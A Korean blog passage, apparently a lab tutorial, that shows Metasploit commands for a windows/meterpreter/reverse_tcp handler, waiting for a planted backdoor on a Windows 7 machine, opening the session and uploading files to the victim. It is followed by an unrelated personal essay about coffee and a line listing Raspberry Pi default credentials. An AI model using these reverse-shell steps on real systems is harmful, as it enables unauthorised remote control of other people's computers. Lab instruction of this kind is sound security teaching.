msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST [피해자 IP]

msf exploit(handler) > set LPORT [프로그램에 작성했던 포트 번호]

msf exploit(handler) > set ExitOnSession false


우리가 백도어로써 사용하는 방법이 reverse_tcp 기법을 이용한 exploit힙니다.

여기까지 설정하고, exploit을 시작하는 명령을 실행하면 공격자는 피해자와 연결하기 위한 준비를 모두 마치게 됩니다.

즉, 공격자는 피해자가 프로그램을 실행하도록 기다리는 상태라고 할 수 있습니다.




04. Exploit 실행 - reverse_tcp

아래의 그림은 reverse_tcp 익스플로잇 실행 후 상태를 보여주는 그림입니다.

exploit 명령어는 다음과 같습니다.

msf exploit(handler) > exploit -j -z 


위의 그림 상태는 우리가 Windows 7 시스템에 심어두었던 파일이 실행되기를 기다리고 있는 상태입니다.

이제 프로그램을 실행시켜보도록 합시다.

프로그램을 실행시키면 위의 그림과 같이 session이 연결되었다는 문구가 나옵니다.

해당 문구를 그림으로 설명해보자면 아래와 같습니다.

공격자의 IP는 192.168.37.131입니다.

피해자의 IP는 192.168.37.132입니다.

여기서 공격자가 피해자 시스템에 넣어둔 프로그램을 통해 Reverse TCP Session이 생성되었습니다.


여기까지 성공했다면, 내부적으로 공격자의 PC와 피해자의 PC가 연결되어 있는 상태입니다.

이때 연결되어 있는 Reverse TCP Session을 살펴보는 명령어를 이용하여 살펴보면 다음과 같습니다.

연결상태를 확인하는 명령어와 연결을 사용하기 위한 명령어는 다음과 같습니다.

msf exploit(handler) > show sessions

msf exploit(handler) > sessions -i 1


세션을 살펴보는 명령어는 show sessions라는 명령어로, 지금 공격자의 PC와 연결된 세션들을 모두 나열해줍니다.

sessions -i 1은 1번 ID를 가지고 있는 세션을 연결(실행)하는 명령어입니다.


마지막으로 meterpreter > 가 띄워지면 성곡적으로 피해자 PC에 접근이 된 상태라고 할 수 있습니다.


05. Exploit 활용 - reverse_tcp

이제 바탕화면에 디렉토리를 생성해보고, 생성이 되었는지 확인해보도록 합니다.

아래의 명령어 세 가지를 통해 디렉토리가 잘 생성되었는지 확인해봅시다.

meterpreter > pwd

meterpreter > mkdir [폴더 이름]

meterpreter > ls -l



이제 우리가 가지고 있는 파일을 해당 디렉토리에 업로드해보도록 합시다.

업로드하는 명령어는 다음과 같습니다.

meterpreter > cd [생성한 폴더 이름]

meterpreter > upload [절대경로 및 파일이름]

meterpreter > ls -l



업로드 한 파일의 이름은 You_are_Hacked.PNG 파일이고 해당 파일은 /root/Desktop/HackedMessage 디렉토리 내부에 있습니다.

현재 Terminal 창은 /root 디렉토리에서 켜졌습니다.

그리고 이후 msfconsole을 실행시킨 디렉토리 또한 /root입니다.

때문에 msfconsole이 가지고 있는 경로의 시작점은 /root이기 때문에 하위의 디렉토리는 모두 입력해줘야 합니다.


이제 우리는 해당 파일이 잘 업로드 되었는지 피해자 PC를 통해 확인해보도록 합시다.

파일이 잘 올라갔습니다.

미션 Success!!






하고 싶은 일이 많아도 해야 할 일이 많은 나날이 계속되는 게 삶인가 싶다.

인스턴트 커피 한 잔.

그윽한 향 하나 종이컵에 담고 새벽에 부는 찬바람을 맞는 날이 많아졌다.

이런 때면 삶의 맛이 무엇일까 하는 생각을 하곤 한다.

삶의 맛... 어떤 맛일까.

입맛 다시듯 생각해보면, 썩 나쁘지만도 좋지만도 않은 것 같다.

오전 늦게 일어나 아침을 거르고, 어쩌면 점심도 모두 거르고 출근하면, 멍한 눈으로 컴퓨터 화면을 본다.

아무도 없는 연구실에서 오늘은 무얼 해야 할지 생각하고, 시간을 체크한다.

가끔은 출장도 가게 되고, 워크숍에 가려고 하루를 비워두기도 한다.

규칙적인지 뒤죽박죽인지 모를 삶이다.

내 눈은 퀭하기도 하고, 슬프기도 하고, 초롱초롱 빛나기도 하다.

그러다 가끔.

잠깐의 휴식이 문을 두드리고 내게 찾아온다.

지금 쉴 수 있을 거 같은데. 어때? 똑똑똑.

그리고는 내가 하고 싶었던 소소한 일들을 즐기도록 작은 여유를 선물하고 떠난다.

어쩌면 가끔 선물 상자 속에, 기적처럼 내게 행복을 담아 주기도 한다.

...마지막 커피 한 모금.

어쩌면 내 삶의 맛은, 지금 이 커피처럼 씁쓸한 단 맛이 아닐까 생각해본다. 쓰디 쓴 맛을 음미하다 끝에 느껴지는 단 맛이 소소한 웃음을 머금게 하듯.

그러고보니, 맑은 새벽 하늘에 커피 한 잔이구나.

오늘도 작은 행복이 왔다 갔구나.




Default 계정

ID : pi

PW : raspberry




+ Recent posts